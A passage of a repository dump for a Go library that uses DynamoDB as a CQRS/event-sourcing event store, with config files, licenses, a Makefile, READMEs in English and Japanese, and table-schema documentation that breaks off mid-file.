├── .editorconfig ├── .gitignore ├── .vscode └── settings.json ├── LICENSE-APACHE ├── LICENSE-MIT ├── Makefile ├── README.ja.md ├── README.md ├── docs ├── DATABASE_SCHEMA.ja.md ├── DATABASE_SCHEMA.md ├── MIGRATION_GUIDE.ja.md └── MIGRATION_GUIDE.md ├── go.mod ├── go.sum ├── pkg ├── common │ └── dynamodb.go ├── event_store.go ├── event_store_on_dynamodb.go ├── event_store_on_memory.go ├── key_resolver.go ├── serializer.go └── types.go ├── renovate.json ├── setup.sh ├── test ├── event_store_on_dynamodb_test.go ├── event_store_on_memory_test.go ├── user_account_event_test.go ├── user_account_repository_test.go └── user_account_test.go └── version /.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig coding styles definitions. For more information about the 2 | # properties used in this file, please see the EditorConfig documentation: 3 | # http://editorconfig.org/ 4 | 5 | # indicate this is the root of the project 6 | root = true 7 | 8 | [*] 9 | charset = utf-8 10 | 11 | end_of_line = LF 12 | insert_final_newline = true 13 | trim_trailing_whitespace = true 14 | 15 | indent_style = space 16 | indent_size = 2 17 | 18 | [Makefile] 19 | indent_style = tab 20 | 21 | [*.md] 22 | trim_trailing_whitespace = false 23 | 24 | [*.go] 25 | indent_style = tab 26 | 27 | [*.json] 28 | indent_size = 2 29 | indent_style = space 30 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | .idea/ 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | Thumbs.db 29 | Thumbs.db:encryptable 30 | ehthumbs.db 31 | ehthumbs_vista.db 32 | 33 | .vscode/* 34 | !.vscode/settings.json -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "[go]": { 3 | "editor.tabSize": 2, 4 | "editor.insertSpaces": false, 5 | "editor.formatOnSave": true, 6 | "editor.codeActionsOnSave": { 7 | "source.organizeImports": true 8 | }, 9 | "editor.defaultFormatter": "golang.go" 10 | }, 11 | } -------------------------------------------------------------------------------- /LICENSE-APACHE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /LICENSE-MIT: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Junichi Kato 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Go parameters 2 | GOCMD=go 3 | GOTEST=$(GOCMD) test 4 | GOGET=$(GOCMD) get 5 | GOMOD=$(GOCMD) mod 6 | 7 | .PHONY: install-tools 8 | install-tools: 9 | @which staticcheck > /dev/null || go install honnef.co/go/tools/cmd/staticcheck@latest 10 | @which goimports > /dev/null || go install golang.org/x/tools/cmd/goimports@latest 11 | 12 | .PHONY: all 13 | all: test 14 | 15 | .PHONY: test 16 | test: 17 | $(GOTEST) -v ./... 18 | 19 | .PHONY: clean 20 | clean: 21 | $(GOMOD) tidy 22 | rm -rf ./testdata 23 | 24 | .PHONY: deps 25 | deps: 26 | $(GOGET) -u 27 | 28 | .PHONY: lint 29 | lint: 30 | staticcheck ./... 31 | 32 | .PHONY: vet 33 | vet: 34 | $(GOCMD) vet ./... 35 | 36 | .PHONY: fmt 37 | fmt: 38 | gofmt -s -w . 39 | 40 | .PHONY: tidy 41 | tidy: 42 | $(GOMOD) tidy 43 | 44 | # Run all code checks 45 | .PHONY: check 46 | check: lint vet fmt test 47 | 48 | # Download all dependencies 49 | prepare: 50 | $(GOMOD) download 51 | 52 | # Update all dependencies 53 | update: 54 | $(GOMOD) tidy 55 | $(GOMOD) download 56 | -------------------------------------------------------------------------------- /README.ja.md: -------------------------------------------------------------------------------- 1 | # event-store-adapter-go 2 | 3 | [![CI](https://github.com/vivaciousst/event-store-adapter-go/actions/workflows/ci.yml/badge.svg)](https://github.com/vivaciousst/event-store-adapter-go/actions/workflows/ci.yml) 4 | [![Go project version](https://badge.fury.io/go/github.com%2Fj5ik2o%2Fevent-store-adapter-go.svg)](https://badge.fury.io/go/github.com%2Fj5ik2o%2Fevent-store-adapter-go) 5 | [![Renovate](https://img.shields.io/badge/renovate-enabled-brightgreen.svg)](https://renovatebot.com) 6 | [![License](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT) 7 | [![tokei](https://tokei.rs/b1/github/j5ik2o/event-store-adapter-go)](https://github.com/XAMPPRocky/tokei) 8 | 9 | このライブラリは、DynamoDBをCQRS/Event Sourcing用のEvent Storeにするためのものです。 10 | 11 | [English](./README.md) 12 | 13 | ## 使い方 14 | 15 | EventStoreを使えば、Event Sourcing対応リポジトリを簡単に実装できます。 16 | 17 | ```go 18 | type UserAccountRepository struct { 19 | eventStore esag.EventStore 20 | aggregateConverter esag.AggregateConverter 21 | eventConverter esag.EventConverter 22 | } 23 | 24 | func (r *UserAccountRepository) StoreEvent(event esag.Event, version uint64) error { 25 | return r.eventStore.PersistEvent(event, version) 26 | } 27 | 28 | func (r *UserAccountRepository) StoreEventAndSnapshot(event esag.Event, aggregate esag.Aggregate) error { 29 | return r.eventStore.PersistEventAndSnapshot(event, aggregate) 30 | } 31 | 32 | func (r *UserAccountRepository) findById(id esag.AggregateId) (*userAccount, error) { 33 | result, err := r.eventStore.GetLatestSnapshotById(id, r.aggregateConverter) 34 | if err != nil { 35 | return nil, err 36 | } 37 | if result.Empty() { 38 | return nil, fmt.Errorf("not found") 39 | } else { 40 | events, err := r.eventStore.GetEventsByIdSinceSeqNr(id, result.Aggregate().GetSeqNr()+1, r.eventConverter) 41 | if err != nil { 42 | return nil, err 43 | } 44 | return replayUserAccount(events, result.Aggregate().(*userAccount)), nil 45 | } 46 | } 47 | ``` 48 | 49 | 以下はリポジトリの使用例です。 50 | 51 | ```go 52 | eventStore, err := NewEventStoreOnDynamoDB(dynamodbClient, "journal", "snapshot", "journal-aid-index", "snapshot-aid-index", 1) 53 | // eventStore := NewEventStoreOnMemory() // if use repository for on-memory 54 | if err != nil { 55 | return err 56 | } 57 | repository := NewUserAccountRepository(eventStore) 58 | 59 | userAccount1, userAccountCreated := NewUserAccount(UserAccountId{Value: "1"}, "test") 60 | // Store an aggregate with a create event 61 | err = repository.StoreEvent(userAccountCreated, userAccount1.Version, userAccount1) 62 | if err != nil { 63 | return err 64 | } 65 | 66 | // Replay the aggregate from the event store 67 | userAccount2, err := repository.FindById(&initial.Id) 68 | if err != nil { 69 | return err 70 | } 71 | 72 | // Execute a command on the aggregate 73 | userAccountUpdated, userAccountRenamed := userAccount2.ChangeName("test2") 74 | 75 | // Store the new event without a snapshot 76 | err = repository.StoreEvent(userAccountRenamed, userAccountUpdated.Version) 77 | // Store the new event with a snapshot 78 | // err = repository.StoreEventAndSnapshot(userAccountRenamed, userAccountUpdated) 79 | if err != nil { 80 | return err 81 | } 82 | ``` 83 | 84 | ## テーブル仕様 85 | 86 | [docs/DATABASE_SCHEMA.ja.md](docs/DATABASE_SCHEMA.ja.md)を参照してください。 87 | 88 | ## マイグレーションガイド 89 | 90 | [docs/MIGRATION_GUIDE.ja.md](docs/MIGRATION_GUIDE.ja.md)を参照してください。 91 | 92 | ## ライセンス 93 | 94 | MITライセンスです。詳細は[LICENSE](LICENSE)を参照してください。 95 | 96 | ## 他の言語のための実装 97 | 98 | - [for Java](https://github.com/j5ik2o/event-store-adapter-java) 99 | - [for Scala](https://github.com/j5ik2o/event-store-adapter-scala) 100 | - [for Kotlin](https://github.com/j5ik2o/event-store-adapter-kotlin) 101 | - [for Rust](https://github.com/j5ik2o/event-store-adapter-rs) 102 | - [for Go](https://github.com/vivaciousst/event-store-adapter-go) 103 | - [for JavaScript/TypeScript](https://github.com/j5ik2o/event-store-adapter-js) 104 | - [for .NET](https://github.com/j5ik2o/event-store-adapter-dotnet) 105 | - [for PHP](https://github.com/j5ik2o/event-store-adapter-php) 106 | 107 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # event-store-adapter-go 2 | 3 | [![CI](https://github.com/vivaciousst/event-store-adapter-go/actions/workflows/ci.yml/badge.svg)](https://github.com/vivaciousst/event-store-adapter-go/actions/workflows/ci.yml) 4 | [![Go project version](https://badge.fury.io/go/github.com%2Fj5ik2o%2Fevent-store-adapter-go.svg)](https://badge.fury.io/go/github.com%2Fj5ik2o%2Fevent-store-adapter-go) 5 | [![Renovate](https://img.shields.io/badge/renovate-enabled-brightgreen.svg)](https://renovatebot.com) 6 | [![License](https://img.shields.io/badge/License-APACHE2.0-blue.svg)](https://opensource.org/licenses/apache-2-0) 7 | [![License](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT) 8 | [![](https://tokei.rs/b1/github/j5ik2o/event-store-adapter-go)](https://github.com/XAMPPRocky/tokei) 9 | 10 | This library is designed to turn DynamoDB into an Event Store for CQRS/Event Sourcing. 11 | 12 | [日本語](./README.ja.md) 13 | 14 | ## Usage 15 | 16 | You can easily implement an Event Sourcing-enabled repository using EventStore. 17 | 18 | ```go 19 | type UserAccountRepository struct { 20 | eventStore EventStore 21 | aggregateConverter AggregateConverter 22 | eventConverter EventConverter 23 | } 24 | 25 | func (r *UserAccountRepository) StoreEvent(event Event, version uint64) error { 26 | return r.eventStore.PersistEvent(event, version) 27 | } 28 | 29 | func (r *UserAccountRepository) StoreEventAndSnapshot(event Event, aggregate Aggregate) error { 30 | return r.eventStore.PersistEventAndSnapshot(event, aggregate) 31 | } 32 | 33 | func (r *UserAccountRepository) findById(id esag.AggregateId) (*userAccount, error) { 34 | result, err := r.eventStore.GetLatestSnapshotById(id, r.aggregateConverter) 35 | if err != nil { 36 | return nil, err 37 | } 38 | if result.Empty() { 39 | return nil, fmt.Errorf("not found") 40 | } else { 41 | events, err := r.eventStore.GetEventsByIdSinceSeqNr(id, result.Aggregate().GetSeqNr()+1, r.eventConverter) 42 | if err != nil { 43 | return nil, err 44 | } 45 | return replayUserAccount(events, result.Aggregate().(*userAccount)), nil 46 | } 47 | } 48 | ``` 49 | 50 | The following is an example of the repository usage 51 | 52 | ```go 53 | eventStore, err := NewEventStoreOnDynamoDB(dynamodbClient, "journal", "snapshot", "journal-aid-index", "snapshot-aid-index", 1) 54 | // eventStore := NewEventStoreOnMemory() // if use repository for on-memory 55 | if err != nil { 56 | return err 57 | } 58 | repository := NewUserAccountRepository(eventStore) 59 | 60 | userAccount1, userAccountCreated := NewUserAccount(UserAccountId{Value: "1"}, "test") 61 | // Store an aggregate with a create event 62 | err = repository.StoreEvent(userAccountCreated, userAccount1.Version, userAccount1) 63 | if err != nil { 64 | return err 65 | } 66 | 67 | // Replay the aggregate from the event store 68 | userAccount2, err := repository.FindById(&initial.Id) 69 | if err != nil { 70 | return err 71 | } 72 | 73 | // Execute a command on the aggregate 74 | userAccountUpdated, userAccountRenamed := userAccount2.ChangeName("test2") 75 | 76 | // Store the new event without a snapshot 77 | err = repository.StoreEvent(userAccountRenamed, userAccountUpdated.Version) 78 | // Store the new event with a snapshot 79 | // err = repository.StoreEventAndSnapshot(userAccountRenamed, userAccountUpdated) 80 | if err != nil { 81 | return err 82 | } 83 | ``` 84 | 85 | ## Table Specifications 86 | 87 | See [docs/DATABASE_SCHEMA.md](docs/DATABASE_SCHEMA.md). 88 | 89 | ## Migration Guide 90 | 91 | See [docs/MIGRATION_GUIDE.md](docs/MIGRATION_GUIDE.md). 92 | 93 | ## CQRS/Event Sourcing Example 94 | 95 | See [j5ik2o/cqrs-es-example-go](https://github.com/j5ik2o/cqrs-es-example-go). 96 | 97 | ## License. 98 | 99 | MIT License. See [LICENSE](LICENSE) for details. 100 | 101 | ## Links 102 | 103 | - [Common Documents](https://github.com/j5ik2o/event-store-adapter) 104 | -------------------------------------------------------------------------------- /docs/DATABASE_SCHEMA.ja.md: -------------------------------------------------------------------------------- 1 | ## EventStoreが利用するDynamoDBのテーブル構成 2 | 3 | - Journal 4 | - Snapshot 5 | 6 | いずれのテーブルも、キー設計の前提としては、論理シャード内で最大限に書き込みが分散させることを想定しています。 7 | 8 | ### Journalテーブル 9 | 10 | 集約で起きたイベントを保存するためのテーブル。原則的に、このイベントを使って集約状態を再生(リプレイ)します。 11 | 12 | | キー名 | 説明 | 具体的な値 | 備考 | 13 | |:------------|:--------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---| 14 | | pkey | パーションキー(集約種別名-hash(集約ID) % 論理シャードサイズ) | user-account-1 | | 15 | | skey | ソートキー(集約種別名-集約IDの値部分-シーケンス番号) | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z-12345 | | 16 | | aid | 集約ID | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z | | 17 | | ser_nr | シーケンス番号(開始番号は1) | 12345 | | 18 | | payload | イベント内容 | {"type":"Created","id":"01H42KBHCW1BZG504J4ZXKA2F2","aggregate_id":{"value":"01890535-c59c-72d5-08a8-dcea316374c8"},"seq_nr":1,"name":"test","members":{"members_ids_by_user_account_id":{"01H42KBHCWBDTZYQ7P78T8BTWX":"01H42KBHCWA8NE32M49YH544H1"},"members":{"01H42KBHCWA8NE32M49YH544H1":{"id":"01H42KBHCWA8NE32M49YH544H1","user_account_id":{"value":"01890535-c59c-5b75-ff5c-f63a3485eb9d"},"role":"Admin"}}},"occurred_at":"2023-06-29T03:32:37.404481Z"} | | 19 | | occurred_at | 発生日時 | 2023-06-29T03:32:37.404481Z | | 20 | 21 | aidとseq_nrはGSIが適用されており、リプレイ時はこのインデックスを利用されます。 22 | 23 | ### Snapshotテーブル 24 | 25 | 集約の状態を保存するためのテーブルであり、集約のリプレイを高速化するためのテーブルです。スナップショット保存後にもイベントは保存されるため、最新の集約状態を表さない場合あります。 26 | 27 | | キー名 | 説明 | 具体的な値 | 備考 | 28 | |:--------|:-----------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---| 29 | | pkey | パーションキー(集約種別名-hash(集約ID) % 論理シャードサイズ) | user-account-1 | | 30 | | skey | ソートキー(集約種別名-集約IDの値部分-シーケンス番号), 最新のスナップショットはシーケンス番号=0として読み書きされます。 | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z-12345 | | 31 | | payload | 集約の状態 | {"id":{"value":"0189053a-d0b4-8f9b-4fb6-db91f72ccf16"},"name":"test","members":{"members_ids_by_user_account_id":{"01H42KNM5MBVRBZTADAZ9ETSPZ":"01H42KNM5M2QEW700VCW4J2KYE"},"members":{"01H42KNM5M2QEW700VCW4J2KYE":{"id":"01H42KNM5M2QEW700VCW4J2KYE","user_account_id":{"value":"0189053a-d0b4-5ef0-bfe9-4d57d2ed66df"},"role":"Admin"}}},"messages":[],"seq_nr_counter":1,"version":1} | | 32 | | aid | 集約ID | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z | | 33 | | ser_nr | シーケンス番号(開始番号は1) | 12345 | | 34 | | ttl | 削除のためのTTL(秒) | 1624980000 | | 35 | | version | バージョン(楽観的ロック用)(開始番号は1) | 1 | | 36 | 37 | - スナップショット冗長化機能が無効な場合はskey=0にスナップショットが保存されるだけですが、有効にした場合はスナップショットはskey=0以外にskey=aggregate.seq_nr()の2件保存されます。スナップショットを保存するたびにskey=aggregate.seq_nr()のスナップショットが増えますが、あなたはスナップショットは上限を指定できます(デフォルトは1)。上限を超えた場合は古いスナップショットから削除されます。デフォルトでは、クライアント主導で削除されます。TTLを使ってDynamoDB自身に削除させることもできます。 38 | - aidとseq_nrはGSIが適用されており、リプレイ時はこのインデックスを利用されます。 39 | 40 | ### イベント及びスナップショットの書き込み 41 | 42 | 1. 集約にてコマンドが受理されると、最新のseq_nrが付与されたイベントが生成されます。 43 | 2. 生成されたイベントはjournalテーブルに書き込まれます。ただし、この書き込みは必ずsnapshotテーブルと同じトランザクションで行われ、versionが一致する条件下で実施されます。初回のイベント以外は、snapshotのpayloadを更新することはオプションです。 44 | 45 | ### イベント及びスナップショットを使って集約をリプレイする 46 | 47 | 1. 集約のIDを指定して、スナップショットを取得します。 48 | 2. 取得した集約のIDとスナップショットのシーケンス番号以降のイベントをjournalテーブルから読み込みます。 49 | 3. 読み込んだイベントをスナップショットに適用することで、最新の集約状態を取得します。 50 | -------------------------------------------------------------------------------- /docs/DATABASE_SCHEMA.md: -------------------------------------------------------------------------------- 1 | ## DynamoDB table schema used by EventStore 2 | 3 | - Journal 4 | - Snapshot 5 | 6 | The key design assumption for both tables is that writes are distributed to the greatest extent possible within the logical shard. 7 | 8 | ### Journal table 9 | 10 | The table used to store events that have occurred in an aggregate. In principle, this event is used to replay (replay) the aggregate state. 11 | 12 | | key name | description | example | remarks | 13 | |:------------|:---------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------| 14 | | pkey | Partition key(${aggregate-type-name}hash($aid) % logical-shard-size) | user-account-1 | | 15 | | skey | Sort Key(${aggregate type name}-${aid.value}-${seq_nr}) | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z-12345 | | 16 | | aid | Aggregate ID | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z | | 17 | | ser_nr | Sequence Number(origin=1) | 12345 | | 18 | | payload | Event Payload | {"type":"Created","id":"01H42KBHCW1BZG504J4ZXKA2F2","aggregate_id":{"value":"01890535-c59c-72d5-08a8-dcea316374c8"},"seq_nr":1,"name":"test","members":{"members_ids_by_user_account_id":{"01H42KBHCWBDTZYQ7P78T8BTWX":"01H42KBHCWA8NE32M49YH544H1"},"members":{"01H42KBHCWA8NE32M49YH544H1":{"id":"01H42KBHCWA8NE32M49YH544H1","user_account_id":{"value":"01890535-c59c-5b75-ff5c-f63a3485eb9d"},"role":"Admin"}}},"occurred_at":"2023-06-29T03:32:37.404481Z"} | | 19 | | occurred_at | Occurred DateTime of the Event | 2023-06-29T03:32:37.404481Z | | 20 | 21 | GSI is applied to aid and seq_nr, and this index is used during replay. 22 | 23 | ### Snapshot table 24 | 25 | This table is used to store aggregate state and to speed up replay of aggregates. It may not represent the latest aggregation state because events are saved even after the snapshot is saved. 26 | 27 | | column name | description | example | remarks | 28 | |:------------|:----------------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------| 29 | | pkey | Partition key(${aggregate-type-name}hash($aid) % logical-shard-size) | user-account-1 | | 30 | | skey | Sort Key(${aggregate type name}-${aid.value}-${seq_nr}), The latest snapshot is read/written as seq_nr=0. | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z-12345 | | 31 | | payload | State of Aggregate | {"id":{"value":"0189053a-d0b4-8f9b-4fb6-db91f72ccf16"},"name":"test","members":{"members_ids_by_user_account_id":{"01H42KNM5MBVRBZTADAZ9ETSPZ":"01H42KNM5M2QEW700VCW4J2KYE"},"members":{"01H42KNM5M2QEW700VCW4J2KYE":{"id":"01H42KNM5M2QEW700VCW4J2KYE","user_account_id":{"value":"0189053a-d0b4-5ef0-bfe9-4d57d2ed66df"},"role":"Admin"}}},"messages":[],"seq_nr_counter":1,"version":1} | | 32 | | aid | Aggregate ID | user-account-01H42K4ABWQ5V2XQEP3A48VE0Z | | 33 | | ser_nr | Sequence Number(origin=1) | 12345 | | 34 | | ttl | TTL for deletion(seconds) | 1624980000 | | 35 | | version | Version for optimistic lock(origin=1) | 1 | | 36 | 37 | - When the snapshot redundancy feature is disabled, only a snapshot is stored at skey=0. When enabled, two snapshots are stored at skey=aggregate.seq_nr() in addition to skey=0. Each time a snapshot is saved, skey=aggregate.seq_nr() snapshot will be increased, but you can specify an upper limit for the snapshot (default is 1). If the upper limit is exceeded, the older snapshots will be deleted first. By default, the deletion is client-initiated; you can also use TTL to let DynamoDB itself do the deletion. 38 | - GSI is applied to aid and seq_nr, and this index is used during replay. 39 | 40 | ### Writing events and snapshots 41 | 42 | 1. When the command is accepted by aggregate, an event with the latest seq_nr is generated. 43 | 2. The generated events are written to the journal table. However, this write is always done in the same transaction as the snapshot table and under version matching conditions. Except for the first event, updating the payload of snapshot is optional. 44 | 45 | ### Replaying an aggregate with events and snapshots 46 | 47 | 1. Specify the 